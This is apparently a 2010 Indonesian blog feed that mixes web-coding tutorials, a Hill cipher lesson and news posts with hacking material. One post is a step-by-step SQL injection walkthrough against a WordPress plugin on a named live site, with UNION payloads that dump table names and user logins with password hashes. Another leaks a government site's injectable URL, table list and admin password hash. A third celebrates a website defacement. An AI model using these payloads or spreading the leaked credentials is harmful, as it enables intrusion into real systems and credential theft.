        }
        
        #lava ul {
        margin:0; 
        padding:0; 
        list-style:none; 
        display:inline;
        left:110px; 
        top:0; 
        z-index:100;
 
        }
        
        #lava ul li {
        margin:0 15px; 
        float:left;
        }
        
        #lava #box {
        position:absolute; 
        left:0; 
        top:0; 
        z-index:50; 
        background:#ccc; 
        height:20px;
        padding-right:8px;
        margin-left:-10px;
        }
        
        #lava #box .head {
        background:#eee;
        height:20px;
        padding-left:10px;
        }
Parsed in 0.019 seconds at 33.48 KB/s

3. Java Script

code program
       $(document).ready(function () {
    
      //transitions
    
      //for more transition, goto http://gsgd.co.uk/sandbox/jquery/easing/
    
      var style = 'easeOutElastic';
    
      //Retrieve the selected item position and width
    
      var default_left = Math.round($('#lava li.selected').offset().left - $('#lava').offset().left);
    
      var default_width = $('#lava li.selected').width();
    
      //Set the floating bar position and width
    
      $('#box').css({left: default_left});
    
      $('#box .head').css({width: default_width});
    
      //if mouseover the menu item
    
      $('#lava li').hover(function () {
    
      //Get the position and width of the menu item
    
      left = Math.round($(this).offset().left - $('#lava').offset().left);
    
      width = $(this).width(); 
    
      //Set the floating bar position, width and transition
    
      $('#box').stop(false, true).animate({left: left},{duration:1000, easing: style}); 
    
      $('#box .head').stop(false, true).animate({width:width},{duration:1000, easing: style}); 
    
      //if user click on the menu
    
      }).click(function () {
    
      //reset the selected item
    
      $('#lava li').removeClass('selected'); 
    
      //select the current item
    
      $(this).addClass('selected');
    
      });
    
      //If the mouse leave the menu, reset the floating bar to the selected item
    
      $('#lava').mouseleave(function () {
    
      //Retrieve the selected item position and width
    
      default_left = Math.round($('#lava li.selected').offset().left - $('#lava').offset().left);
    
      default_width = $('#lava li.selected').width();
    
      //Set the floating bar position, width and transition
    
      $('#box').stop(false, true).animate({left: default_left},{duration:1500, easing: style}); 
    
      $('#box .head').stop(false, true).animate({width:default_width},{duration:1500, easing: style});  
    
      });
    
      });
    
Parsed in 0.021 seconds at 81.29 KB/s

untuk lebih lanjutnya, Anda dapat melihatnya di situs resmi jQuery

Demo

Download Source Code

WORDPRESS v1.0 SQL Injection Vulnerability

noreply@blogger.com (pandewa) — Sun, 19 Sep 2010 17:41:00 +0000

WORDPRESS v1.0 SQL Injection Vulnerability

Pada arikel ini, kita akan mencoba melakukan serangan pada website wordpress, yang mana bug ini terdapat pada plugins photoracer wordpress. dari bug ini kita dapat melakukan exploitasi berupa SQL Injection.

Tanpa berpanjang mukadimah, dan berpanjang lebar, langsung aja kita coba exploitasinya.

Setelah website/target telah kita dapatkan, maka langkah selanjutnya adalah melakukan SQL Injection pada website tersebut, Contohnya sebagai berikut ini :

   1:  http://www.soycanarion.es/wp-content/plugins/photoracer/viewimg.php?id=1

Untuk mengetahui website tersebut Vurlner atau tidaknya, tambahkan single quote/kutip tunggal di akhir ulr, sehingga menjadi seperti berikut ini :

   1:  http://www.soycanarion.es/wp-content/plugins/photoracer/viewimg.php?id=-1

Dari percobaan diatas, telah kita ketahui bersama bahwa website tersebut dapat kita injeksi menggunakan SQL Injection,

langkah selanjutnya adalah mencari jumlah table dan colum

   1:  http://www.soycanarion.es/wp-content/plugins/photoracer/viewimg.php?id=-1 (normal)

   2:  http://www.soycanarion.es/wp-content/plugins/photoracer/viewimg.php?id=-2 (normal)

   3:  http://www.soycanarion.es/wp-content/plugins/photoracer/viewimg.php?id=-3 (normal)

   4:  http://www.soycanarion.es/wp-content/plugins/photoracer/viewimg.php?id=-4  (normal)

   5:  http://www.soycanarion.es/wp-content/plugins/photoracer/viewimg.php?id=-5 (normal)

   6:  http://www.soycanarion.es/wp-content/plugins/photoracer/viewimg.php?id=-6 (normal)

   7:  http://www.soycanarion.es/wp-content/plugins/photoracer/viewimg.php?id=-7 (normal)

   8:  http://www.soycanarion.es/wp-content/plugins/photoracer/viewimg.php?id=-8 (normal)

   9:  http://www.soycanarion.es/wp-content/plugins/photoracer/viewimg.php?id=-9 (normal)

  10:  http://www.soycanarion.es/wp-content/plugins/photoracer/viewimg.php?id=-10 (error)

langkah selanjutnya adalah mencari nomor buntut ,

   1:  http://www.soycanarion.es/wp-content/plugins/photoracer/viewimg.php?id=-1+union+select+1,2,3,4,5,6,7,8,9--

Angkanya keluar ;)

yups angka 6,

bagaimana selanjutnya ??

langkah selanjutnya adalah mencari table name, atau kita langsung ajah mencari user dan passworsnya

loh,,, gmana caranya, ?

table usernya kita kan g’ tau bro ??

nah, untuk wordpes, biasanya table untuk user adalah wp-user,

yang bener bro ??

kalo anda tidak percaya, silahkan lakukan SQL Injection pada website tersebut seperti berikut ini:

   1:  http://www.soycanarion.es/wp-content/plugins/photoracer/viewimg.php?id=-1+union+select+1,2,3,4,5,group_concat%28table_name%29,7,8,9+from%20information_schema.tables%20where%20table_schema=database%28%29--

nah bagaimana ? benarkan ;)

ok, table user telah kita dapatkan, langkah selanjutnya adalah mencari user name dan password dari website tersebut

ini yang saya tunggu-tunggu bro

   1:  http://www.soycanarion.es/wp-content/plugins/photoracer/viewimg.php?id=-1+union+select+1,2,3,4,5,concat,(user_login,0x3a,user_pass),7,8,9+from+wp_users--

wewww, user dan passwordnya sudah nongol :)

silahkan anda enkripsi terlebih dahulu password tersebut,
special thank’s
Mas Nathan,Hank,Marthen,supermen ganteng and U

jika anda telah mendapatkan target, janganlah berfikir untuk merusak website tersebut, tetapi pelajarilah kelemahan dari bug tersebut

Bersihkan Virus Melalui Kotak Dialog Autoplay

noreply@blogger.com (pandewa) — Fri, 17 Sep 2010 16:35:00 +0000

Bersihkan Virus Melalui Kotak Dialog Autoplay

Microsoft Security Essentials

Antivirus merupakan suatu aplikasi yang wajib bagi anda pengguna komputer .Microsoft Security Essentials (MSE) adalah suatu produk antivirus yang di kembangkan Microsoft untuk pengguna windows, yang mana aplikasi ini dapat anda download sacara gratis.

Pada trik saya sebelumnya mengenai Windows Defender, pada artikel kali ini kita akan kembali belajar mengenai membersihkan virus menggunakan autoplay.

Apa itu Autoplay ? autoplay adalah satu fitur baru dari Microsoft Windows yang diperkenalkan pertama kali sejak versi Windows XP. Autoplay adalah fitur yang berfungsi untuk memeriksa dan mendeteksi adanya suatu perangkat baru yang disambungkan ke komputer. Selanjutnya Autoplay akan menentukan jenis atau tipe file yang ada di dalam perangkat tersebut dan menampilkan sebuah kotak dialog yang berisi shorcut aplikasi-aplikasi yang sudah terinsta pada windows yang bisa digunakan untuk membuka file tadi.

Jadi Anda bisa langsung melakukan scan virus terhadap UFD, CD, atau DVD, yang terhubung dengan komputer Anda melalui kotak dialog Autoplay yang muncul. Nah ikuti langkah-demi langkah berikut ini :

Download MSE di alamat http://www.microsoft.com/security_essentials/ setelah proses download selesai. lakukanlah instalsi seperti biasanya. klik kanan pada file mssefullinstall-x86fre-en-us-vista-win7 > open. perhatikan gambar di bawah ini untuk lebih lengkapnya

Langkah pertama, klik button Next >

Lisensi Agreement, lanjutkan dengan mengklik button I accept

lanjutkan dengan mengklik button Validate

klik button Install untuk memulai instalasi

proses instalasi sedang berjalan. tunggu beberapa saat

2. Selanjutnya, donwload file mseautoplay.zip di alamat http://www.winhelponline.com/temp/mseautoplay.zip.Kemudian ektrak dan jika berhasil, Anda akan mendapatkan tiga buah file, yaitu mseautoplay.reg undo.reg dan msescan.vbs

3. Selanjutnya, pindahkan msescan.vbs kedalam direktori windows komputer Anda.

4. Kemudian, klik 2 kali pada file mseautoplay.reg. Jika muncul pesan dialog peringatan, klik yes.

5. Klik Ok ketika muncul dialog konfirmasi berikutnya.

mseautoplay.reg

proses telah selesai dan berhasil

6. Nah sekarang anda bisa melakukan scan virus dengan MSE terhadap USB Flash disk, CD atau DVD melalui kotak dialog Autoplay yang muncul saat Anda menancapkan atau memasukkan media tersebut melalui komputer.

inilah hasil akhirnya, dengan ini penyebaran virus dapat diminimalisir

Drag and Drop Menggunakan jQuery

noreply@blogger.com (pandewa) — Fri, 17 Sep 2010 04:20:00 +0000

Drag and Drop Menggunakan jQuery

Dengan memasang Drag and Drop pada website, dapat membantu user/pengunjung untuk mengatur halaman website sesuai dengan keinginannya. Jenis fungsionalitas sering disediakan oleh portal web atau homepage pribadi seperti layanan iGoogle.

coba perhatikan contoh dibawah ini


implementasi drag and drop pada igoogle.

Hari ini, perkenankanlah saya menunjukkan kepa anda bagaimana membuat drag and drop menggunakan Jquery, untuk contoh, dapat anda lihat di sini http://kui.my-php.net/drag/.

Mempersiapakan Libraries

Disini saya menggunakan perpustakaan JQuery dan JQuery UI, ambil versi terbaru dari kedua dan menambahkannya ke header halaman Anda.

Struktur HTML

saya menggunakan 2 kolom vertikal yang didevenisikan div dengan "kolom" class = dalam contoh ini yang akan terus panel kita. Berikut struktur HTML lengkap untuk contoh kita, saya akan menggunakan 5 panel dalam dua kolom.

<div class="column" id="column1">  
     <div class="dragbox" id="item1" >  
        <h2>Handle 1</h2>  
        <div class="dragbox-content" >  
             <!-- Masukkan Kontent disini -->  
         </div>  
    </div>  
     <div class="dragbox" id="item2" >  
         <h2><span class="configure" ><a href="#" >Configure</a></span>Handle 2</h2>  
        <div class="dragbox-content" >  
            <!--Masukkan Kontent disini -->  
         </div>  
    </div>  
     <div class="dragbox" id="item3" >  
         <h2>Handle 3</h2>  
         <div class="dragbox-content" >  
             <!-- Masukkan Kontent disini -->  
        </div>  
    </div>  
 </div>  
 <div class="column" id="column2" >  
     <div class="dragbox" id="item4" >  
        <h2>Handle 4</h2>  
         <div class="dragbox-content" >  
            <!-- Masukkan Kontent disini-->  
        </div>  
     </div>  
     <div class="dragbox" id="item5" >  
         <h2>Handle 5</h2>  
        <div class="dragbox-content" >  
             <!--masukkan kontent disini-->  
         </div>  
     </div>  
 </div>

CSS Styles

Berikut adalah kode CSS, Anda dapat memodifikasi sebagai keinginan anda, tetapi ingat untuk menyesuaikan lebar. Kolom dalam kasus Anda meningkatkan jumlah kolom.

.column{  
width:49%;  
margin-right:.5%;  
min-height:300px;  
background:#fff;  
float:left;  
}  
.column .dragbox{  
margin:5px 2px  20px;  
background:#fff;  
position:relative;  
border:1px solid #ddd;  
-moz-border-radius:5px;  
-webkit-border-radius:5px;  
}  
.column .dragbox h2{  
margin:0;  
font-size:12px;  
padding:5px;  
background:#f0f0f0;  
color:#000;  
border-bottom:1px solid #eee;  
font-family:Verdana;  
cursor:move;  
}  
.dragbox-content{  
background:#fff;  
min-height:100px; margin:5px;  
font-family:'Lucida Grande', Verdana; font-size:0.8em; line-height:1.5em;  
 }  
.column  .placeholder{  
 background: #f0f0f0;  
border:1px dashed #ddd;  
. }  
.dragbox h2.collapse{  
background:#f0f0f0 url('collapse.png') no-repeat top rightright;  
}  
.dragbox h2 .configure{  
font-size:11px; font-weight:normal;  
margin-right:30px; float:rightright;  
 }

JavaScript Code

Untuk membuat kotak draggable dan droppable, kita akan menggunakan fungsi Libraries Sortables jQuery UI. Berikut kode yang perlu menggunakan, menambahkan ini ke $ (dokumen) setelah fungsi ().

 $('.column').sortable({  
connectWith: '.column',  
handle: 'h2',  
cursor: 'move',  
placeholder: 'placeholder',  
forcePlaceholderSize: true,  
opacity: 0.4,  
 })  
 .disableSelection();

Untuk menutup isi panel bila anda klik pada header panel dan menunjukkan mengkonfigurasi link pada header panel di hover, gunakan kode dibawah ini pada fungsi jQuery

 $('.dragbox').each(function(){ 
$(this).hover(function(){  
$(this).find('h2').addClass('collapse');  
}, function(){  
$(this).find('h2').removeClass('collapse');  
})  
.find('h2').hover(function(){  
$(this).find('.configure').css('visibility', 'visible');  
}, function(){  
$(this).find('.configure').css('visibility', 'hidden');  
})  
.click(function(){  
$(this).siblings('.dragbox-content').toggle();  
})  
.end()  
 .find('.configure').css('visibility', 'hidden');  
 });

download source kode http://kui.my-php.net/demo/drag.zip

Menambah Widget Populer Posts Dan Blog Stats Di Blogger

noreply@blogger.com (pandewa) — Thu, 02 Sep 2010 17:10:00 +0000

Menambah Widget Populer Posts Dan Blog Stats Di Blogger

Blogger kembali lagi menawarkan fitur-fitur yang menarik untuk para blogger, yakni Widget Populer Posts Dan Blog Stats Di Blogger, gatget blog stats hampir mirip dengan fitur yang di luncurkan blogger belum lama ini yaitu blog statistik, nah apa keuntungan menggunakan gadget ini ? menurut saya pribadi, selain menambah semraknya blog kita dengan gadget, dan juga karena kita sebagai pemilik blog akan mengetahui secara real time tulisan kita yang sering di baca oleh pengunjung dan info jumlah yang mengakses blog kita.

namun, ada juga yang di sayangkan dari gadget Populer post ini (mungkin karena belum final) adalah untuk populer post tidak terdapat kebebasan untuk menampilkan jumlah populer post yang akan kita tampilkan. Artinya kita harus mengikuti secara default jumlah populer post-nya yakni 10 populer post.

bagi anda yang sudah tidak sabar untuk mencobanya, silahkan di blogger in draft.

caranya gampang.

masuk dalam mode draft
klik Tambah gatget >> silahakn ditambahkan statistik blog dan entri populer..

semoga artikel saya kali ini dapat membantu...

Tagging Image Menggunakan Css

noreply@blogger.com (pandewa) — Thu, 02 Sep 2010 05:21:00 +0000

Tagging Image Menggunakan CSS

Pemprograman yang saya buat ini mirip dengan pemprograman tagging foto yang di gunakan facebook, dengan menggunakan CSS, kita dapat melakukan/memberikan tanda pada foto yang kita inginkan. Dan tagging ini jelas sangat bermanfaat atau membantu kita untuk mengenali foto/image tersebut.

Berikut implementasi proses pembuatannya.

Buatlah sebuah folder baru, dengan nama : tagging image

1. Siapkan 1 foto, dalam tutorial ini, saya menggunakan foto berikut ini :

2. Ketikkan kode HTML berikut, dan simpan dengan nama index.html dalam folder tagging image

<html>
<head>
<title>Tagging Photo</title>
bagian ini akan kita isi dengan kode CSS
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"></head>
<body>
  <div id="pic">
<img src="riri khairiyah.jpg" width="640" height="425"?
     alt="" />
<ul>
<li class="riri">
<a href="#" title="Riri Khairiyah">
Riri Khairiyah
</a>
</li>
</ul>
</div>
  <div align="left">*) <blockquote>Arahkan kursor pada area wajah. <img src="icon_smile.gif" width="15" height="15"></blockquote>
  </div>
</body>
</html>

3. Ketikkan kode CSS berikut dibawah kode <title>Tagging Photo</title> (tulang punggung program kita )

<style>
#pic {
width: 640px;
height: 425px;
position: relative;
}
#pic ul {
margin: 0;
padding: 0;
list-style: none;
}
#pic a {
position: absolute;
width: 94px;
height: 69px;
text-indent: -1000em;
}
#pic .riri a {
top: 136px;
left: 257px;
}
#pic a:hover {
border: 1px solid #ffff00;
}    
body {
    background-color: #003366;
}
</style>

Sehingga keseluruhan kode pemprograman kita menjadi seperti ini :

<html>
<head>
<title>Tagging Photo</title>
<style>
#pic {
width: 640px;
height: 425px;
position: relative; /* The key to this technique */
}
#pic ul {
margin: 0;
padding: 0;
list-style: none;
}
#pic a {
position: absolute;
width: 94px;
height: 69px;
text-indent: -1000em;
}
#pic .riri a {
top: 136px;
left: 257px;
}
#pic a:hover {
border: 1px solid #ffff00;
}    
body {
    background-color: #003366;
}
</style>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"></head>
<body>
  <div id="pic">
<img src="riri khairiyah.jpg" width="640" height="425"?
     alt="" />
<ul>
<li class="riri">
<a href="#" title="Riri Khairiyah">
Riri Khairiyah
</a>
</li>
</ul>
</div>
  <div align="left">*) <blockquote>Arahkan kursor pada area wajah. <img src="icon_smile.gif" width="15" height="15"></blockquote>
  </div>
</body>
</html>

sekarang program kita telah selesai, anda dapat menjalankan program ini dengan menggunakan local server seperti XAMPP atau di upload langsung ke tempat hostingan.

Contoh dari program diatas dapat anda lihat di http://kui.my-php.net/sesuatu/riri.htm

Boikot indon bodoh dot blogspot dot com

noreply@blogger.com (pandewa) — Mon, 30 Aug 2010 04:55:00 +0000

Boikot indon bodoh dot blogspot dot com

kontroversi pertikayaian antara Indonesia dengan Malaysia seperti tidak ada habisnya, ada saja pertikaian antara kedua negara serumpun ini, seperti yang telah kita dengar bersama, beberapa tahun belakangan, mulai dari kasus blok ambalat, klaim kepemilikan budaya, seperti seni, tarian, masakan, dll. Berita yang sedang hangat-hangatnya sekarang mengenai Enam nelayan Indonesia masih ditahan Malaysia.

Pada artikel ini, saya akan membahas mengenai penghinaan yang secara terang-terangan dilakukan blogger Malaysia terhadap Indonesia. adalah http://www.indonbodoh.blogspot.com/ sebuah blogger asal malaysia yang secara terang-terangan menyebut Indonesia dengan sebutan indon, nama yang aneh memang, tapi taukah anda arti kata indon ?. sebelum kita lanjut pada inti artikel kali ini, bacalah terlebih dahulu arti dari "indon" yang saya kutip dari Wakil Ketua Badan Kerjasama Antarparlemen (BKSAP) DPR RI, Sidharto.

“Tahu apa arti Indon bagi kalangan Malaysia?,” “Ini benar-benar menyakitkan, karena merendahkan martabat kita yang disebutnya sebagai bangsa serumpun. Karena Indon itu sama artinya dengan jongos atau budak (belian),”

kembali pada topik pembicaraan kita, buka situs ini http://www.indonbodoh.blogspot.com/ nah coba-lah anda baca-baca, cacian dan makian dan hinaan dari blogger malaysia tersebut. nah sekarang kita akan memblokir/menghapus blog tersebut dengan cara melaporkannya pada pihak google/blogger.

Masuk ke blog http://www.indonbodoh.blogspot.com/
kemudian di sebelah atas klik "Laporkan Penyalahgunaan"
Pilih "Hate or Violence"
Klik "Continue"
Klik "Submit"

saran saya, lakukan hal ini sebanyak mungkin, agar dapat di tanggapi dengan serius oleh pihak google/blogger

gunung sinabung meletus

noreply@blogger.com (pandewa) — Sun, 29 Aug 2010 09:44:00 +0000

gunung sinabung meletus

Status Gunung Sinabung 'Awas
Minggu, 29 Agustus 2010 02:47 WIB

Metrotvnews.com, Karo: Gunung Sinabung yang terletak di Kecamatan Naman, Kabupaten Tanah Karo, Sumatera Utara yang meletus Ahad (29/8) sekitar pukul 00.08 Waktu Indonesia Barat, statusnya dinaikkan, kata kepala Pusat Vulkanologi dan Mitigasi Bencana Geologi.

"Sebelumnya, tidak ada aktivitas yang berarti dari Gunung Sinabung sehingga gunung tersebut tidak mendapat prioritas pemantauan sejak tahun 1600-an," ujar kepala Pusat Vulkanologi dan Mitigasi Bencana Geologi, Surono, Ahad (29/8) dini hari.

Menyikapi semburan api yang bisa terlihat hingga belasan kilometer jauhnya itu, pihaknya juga menyatakan status gunung tersebut menjadi "awas", dan memerintahkan seluruh warga yang bermukim di kaki gunung itu untuk melakukan evakuasi hingga enam kilometer jauhnya sejak pukul 00.08 WIB.

Mengatasi letusan di gunung api tersebut pihaknya juga sudah menurunkan tim peneliti ke lokasi sejak awal aktivitas gunung tersebut yang mengeluarkan asap putih.

"Dengan adanya aktivitas yang mendadak ini, status gunung api Sinabung dinaikkan dari B, yang tidak pernah dimonitor menjadi A, untuk dimonitor," ujarnya.

Sejumlah warga desa dari Kecamatan Simpang Empat dan Kecamatan Naman, Kabupaten Tanah Karo, sejak Jumat (27/8) telah dikejutkan oleh kabut asap bercampur partikel belerang berwarna putih yang menyembur dari puncak Gunung Sinabung.

Kabut asap bercampur belerang itu menimbulkan bau menusuk hidung dan mengganggu jarak pandang di sebagaian wilayah Karo

Foto-Foto

Mengumpulkan Sumbangan

Cyber Indonesia Kembali Beraksi

noreply@blogger.com (pandewa) — Sun, 29 Aug 2010 08:52:00 +0000

Cyber Indonesia Kembali Beraksi

Perang cyber antara indonesia seperti tidak ada habis cerita, demi membela negaraa, masing-masing Team Cyber dari negara masing-masing menyerang/mendeface halaman website target.

Situs Malaysia Institute of Estate Agents yang beralamat http://www.miea.com.my di hack oleh salah seorang cyber indonesia yang meninggalkan pesan pada situs tersebut http://www.miea.com.my/miea_news/NKRI_Harga_Mati.

Sepertinya aksi ini dipicu oleh kekesalan para cyber indonesia yang menilai Malaysia terus berulah merongrong kedaulatan negara Indonesia. Hal ini tampak pada pesan yang ditampilkan di situs tersebut:

ayo pemuda indonesia,, bangkitkan gelora merah darah semangatmu,,,,,,, stop dreaming start action,, jangan biarkan negara ini terhinjak terhempas,,,, bela-lah negara ini,, !!!!!!!!!!!!!!

Berikut tampilan dari website yang telah di acak-acak team cyber indonesia :

POC Website Bakorkamla

noreply@blogger.com (pandewa) — Sat, 28 Aug 2010 03:28:00 +0000

POC Website Bakorkamla

bakorkamla adalah website milik Badan Koordinsasi Keamanan Laut Indonesia, nah disini saya akan mencoba berbagi POC (Proof of Concept) dari website tersebut,
ingat :

Hacker adalah teknik mencari celah kelemahan suatu system, bukan sebagai perusak.

ok kita lanjutkan

screnshot

Target	:http://www.bakorkamla.go.id
Exploit	:http://www.bakorkamla.go.id/news.php?id=-264'
Table Name	:admin,agenda,agenda2,alitalk_ads,alitalk_column,alitalk_info,alitalk_log,alitalk_rooms,alitalk_sendz, litalk_setting,alitalk_users,banner,berita,berita_ foto,chat_ads,chat_column,chat_info,chat_log,chat_ rooms,chat_sendz,chat_setting,chat_users,download,forum,forum_eng,informasi,kritik_saran,lelang, link_situs,news,stati c,user
Table Admin	user : admin password :c171c576c164fe1d6b0f2cdf66b1d541

Pengenalan Enkripsi Kode Hill

noreply@blogger.com (pandewa) — Sat, 21 Aug 2010 05:08:00 +0000

Pendahuluan
Kode Hill ditemukan oleh Lester S. Hill pada tahun 1929. Kode Hill termasuk salah satu system kripto polialfabetik, yang berarti setiap karakter alphabet bisa dipetakan ke lebih dari satu macam karakter.

Pembahasan
Misalkan m adalah bilangan bulat positif, dan Plaintext = Chiper = (Z26)m. Ide dari kode Hill adalah dengan mengambil m kombinasi linear dari m karakter alphabet dalam satu elemen teks-asli sehingga dihasilkan m alphabet karakter dalam satu elemen teks-asli.
Misalkan m=2 maka dapat ditulis suatu elemen teks-asli sebagai x = (x1, x2) dan suatu elemen teks kode sebagai y = (y1, y2). Di sini y1, y2 adalah kombinasi linear dari x1 dan x2. Misalkan:
y1 = 11×1 + 3×2
y2 = 8×1 + 7×2
dapat ditulis dalam notasi matrix sbb:

(y1,y2)=(x1,x2)

K:

|11 8|

|3  7|

Secara umum dengan menggunakan matriks K m x m sebagai kunci.
Mungkin agak kurang paham ya? Ok supaya lebih paham langsung kasih contoh enkripsinya.
Kita gunakan Key yang diatas yaitu:

|11 8|

|3  7|

Maka lakukan operasi perkalian matriks, yaitu baris * kolom.
Dengan menggunakan matriks 2 x 2, maka:

G4 -> (6, 4)|11 8|

•   |3  7|

= ((6*11)+(4*3) , (6*8)+(4*7)) = (66+12 , 48+28)

= (78 , 76) mod 26 = (0 , 24) => AY

PT -> (15, 19)|11 8|
• |3 7|
= (165+57 , 120+133) = (222 , 253) mod 26 = (14 , 19) => OT

3K -> (3, 10)|11 8|
• |3 7|
= (33+30 , 24+70) = (63 , 94) mod 26 = (11 , 16) => LQ

• |3 7|

Plain Text : G4PT3K
Chiper Text : AYOTLQ
Key : |11 8|
• |3 7|

——– Dekripsi ——–

Untuk dekripsinya, hanya bisa dilakukan jika matriks dari Key memiliki inversi, dengan catatan suatu matriks memiliki inversi hanya jika determinannya tidak nol. Contoh untuk mendapatkan inversnya, maka:
|11 8| |a1 a2| = |1 0|
|3 7| |a3 a4| = |0 1|

11*a1 + 8*a3 , 11*a2 + 8*a4 = 1 0
3*a1 + 7*a3 , 3*a2 + 7*a4 = 0 1

dari perhitungan diatas, menghasilkan invers dari matriks Key:

|7 18|
|23 11|

jadi untuk dekripsinya:

AY => 0, 24
(0, 24)|7 18|
• |23 11|
= (0*7 + 24*23 , 0*18 + 24*11) = (552 , 264) mod 26 = (6 , 4) => G4

OT => 14, 19
(14, 19)|7 18|
• |23 11|
= (14*7 + 19*23 , 14*18 + 19*11) = (535, 461) mod 26 = (15 , 19) => PT

LQ => 11, 16
(11, 16)|7 18|
• |23 11|
= (11*7 + 16*23 , 11*18 + 16*11) = (445 , 374) mod 26 = (3 , 10) => 3K

Sebagai tambahan, berikut source code untuk enkripsi kode hill dengan bahasa python:

#!/usr/bin/python
# hill c0de encryption algorithm
# by:5ynL0rd
# thanks to g4pt3k
import string
text = string.ascii_lowercase
numeric = string.digits
cchar = 0
cmatrix = 0
listplain = []
result = []
plaintext = raw_input(“plain text:”)
print ”’
format key = [a b]
[c d]
”’
key11 = input(“a = “)
key12 = input(“b = “)
key21 = input(“c = “)
key22 = input(“d = “)
while cchar < len(plaintext):
num = plaintext[cchar]
try:
listplain.append(text.index(num))
except:
listplain.append(numeric.index(num))
cchar += 1
while cmatrix < len(plaintext):
try:
res1 = listplain[cmatrix] * key11
res2 = listplain[cmatrix+1] * key21
res3 = listplain[cmatrix] * key12
res4 = listplain[cmatrix+1] * key22
result.append(text[(res1+res2)%26])
result.append(text[(res3+res4)%26])
except:
pass
cmatrix += 2
print “plain text : %s”%plaintext
print “cipher text : %s”%string.join(result,”")
Contoh output:
plain text:g4pt3k
format key = [a b]
[c d]
a = 11
b = 8
c = 3
d = 7
plain text : g4pt3k
cipher text : ayotlq

Fitur spam filter pada blogspot

noreply@blogger.com (pandewa) — Thu, 12 Aug 2010 22:23:00 +0000

Fitur spam filter pada blogspot

Blog sudah merupakan bagian dari kehidupan kita karena blog juga bisa sebagai media komunikasi di dunia maya. Karena memang sudah sifat dasar manusia untuk bersosialisasi dengan manusia yang lainnya. Blog yang ideal menurut saya adalah blog yang bisa memberikan komunikasi 2 arah baik dari penulis dengan pembacanya, sehingga terjadi dialog yang aktif dan bukannya satu arah atau monolog. Dengan memberikan komentar pada suatu artikel akan membangun diskusi yang interaktif dan tentu arahnya akan menjalin komunitas dengan blogger lainnya. Namun kadang kala ada komentar yang di berikan pada suatu artikel hanya mengharapkan tautan atau backlink karena ada beberapa blog yang menerapkan do follow untuk memberikan apresiasi kepada pembacanya sebuah backlink gratis dari blog tersebut, namun rasanya banyak di salah artikan dengan memberikan komentar sampah atau spam dengan harapan keyword pada komentarnya di index oleh mesin pencari dan tentunya hal ini bisa berakibat merugikan bagi blog yang menerapkan dofollow karena akan memberikan outbound link lebih banyak daripada inbound link.

Khususnya pengguna blogspot yang memang tidak ada plugin spam yang bisa di install di blogspot beda halnya dengan pengguna wordpress yang menyediakan plugin anti spam untuk menghindari komentar-komentar spam yang di lakukan oleh orang yang tidak bertanggung jawab. Nah, kali ini blogspot mengeluarkan fitur spam filter yang hanya tersedia di beberapa blog saja, dengan menambahkan fitur spam filter akan membuat blog setidaknya lebih aman dari komentar-komentar spam yang secara otomatis akan terhapus oleh system. Kalau mau beritanya lebih lengkap silahkan menuju sumbernya blogger buzz

Digital Forensik Ke Aslian Suatu Photo

noreply@blogger.com (pandewa) — Wed, 11 Aug 2010 04:04:00 +0000

igital Forensik Ke Aslian Suatu Photo

Seiring dengan kemajuan dunia teknologi, dan juga dalam bidang Multimedia, tidak terlepas dari sebuah kenyataan mengenai isyu-isyu tentang gambar/ foto-foto yang menghebohkan.Hal ini membuat orang awam yang kurang tahu, akan benar-benar tertipu. Lantas, bagaimana membedakan antara gambar palsu atau tidak?

anda tentunya mengenal Roy Suryo, yang memberikan kesaksiannya mengenai ke-absahan suatu foto ? nah, pernahkah terlintas dalam pikiran anda, bagaiman cara Roy Suryo tersebut dalam melihat keabsahan foto-foto tersebut ?

let's begin ...:)

Dalam tutorial kali ini, kita akan menggunakan metode Meta data, Pada dasarnya, metadata adalah data dalam file yang dibuat untuk keperluan manajemen. Untuk jenis data gambar (image), metadata mengandung informasi mengenai siapa pemotretnya, kapan pemotretannya, dan setting kamera pada saat dilakukan pemotretan, dll.

Tools: http://impulseadventure.com/photo/jpeg-snoop.html
Namun, untuk lengkapnya bisa anda dapatkan di catatan mengenai: Restricted Area: Digital Forensic (Reuse, Reduce, n Recovery Data di FD atau HDD) khusunya pada bagian Tools Analisa Data. .
misalkan gambar saya berikut ini (zul, ma'f ya, aQ ngambil photomu dari Fb tampa ijin )
*) klik gambar untuk memperbesar

Asli


Foto asli, Tanpa Editing

Palsu

Foto setelah d beri blur

Pada data diatas terlihat jelas mengenai jenis software yaitu; Adobe Phothoshop CS4 Windows, dengan Kualitas menyimpan gambar 12, dan mode IRB nya telah teridentifikasi juga sebagai Phothoshop. ingat, wlau sekecil apapun anda mengedit foto, (contoh diatas saya menambahkan sedikit blur) akan tetap ketahuan :)

sekarang saya akan mencoba melihat ke-absahan dari foto penampakan Hantu yang saya ambil dari primbon


katanya, yang putih itu penampakan. benarkah ?

sekarang dapat kita lihat, bahawa foto diatas adalah murni hasil editing

semua yang anda dengar, anda lihat, namun cobalah untuk menelaah sebelum mempercayai-nya

Tombol Rahasia Untuk Facebook

noreply@blogger.com (pandewa) — Mon, 09 Aug 2010 16:54:00 +0000

Tombol Rahasi Facebook

setelah sebelumnya artikel saya mengenai artikel ringan seputar facebok , kambali lagi dalam artikel ini akan saya hadirkan sorchut yang dapat mempermudah aktifitas kita dalam berfacebook ria :), langsung saja, berikut tombol-tombol rahasia di facebook yang dapat kita manfaatkan

shift + alt + 1 = home

shift + alt + 2 = profile

shift + alt + 3 = permintaan pertemanan

shift + alt + 4 = pesan

shift + alt + 5 = pemberitahuan

shift + alt + 6 = edit account

shift + alt + 7 = settings privasi

shift + alt + 8 = penggemar facebook

shift + alt + 9 = statement of rights and responsibilities

shift + alt + 0= pusat bantuan

Cara dan Jenis Hacker Menyerang Situs

noreply@blogger.com (pandewa) — Mon, 09 Aug 2010 15:55:00 +0000

Cara dan Jenis Hacker Menyerang Situs

Intrusion

Pada jenis serangan ini seorang cracker (umumnya sudah level hacker) akan dapat

menggunakan sistem komputer server. Serangan ini lebih terfokus pada full access granted

dan tidak bertujuan merusak. Jenis serangan ini pula yg diterapkan oleh para hacker untuk

menguji keamanan sistem jaringan mereka. Dilakukan dalam beberapa tahap dan tidak dalam

skema kerja spesifik pada setiap serangannya (dijelaskan pada artikel lain).

Hacking is an Art!? =)

Denial of Services (DoS)

Penyerangan pada jenis DoS mengakibatkan layanan server mengalami stuck karena kebanjiran

request oleh mesin penyerang. Pada contoh kasus Distributed Denial of Services (DDoS)

misalnya; dengan menggunakan mesin-mesin zombie, sang penyerang akan melakukan packeting

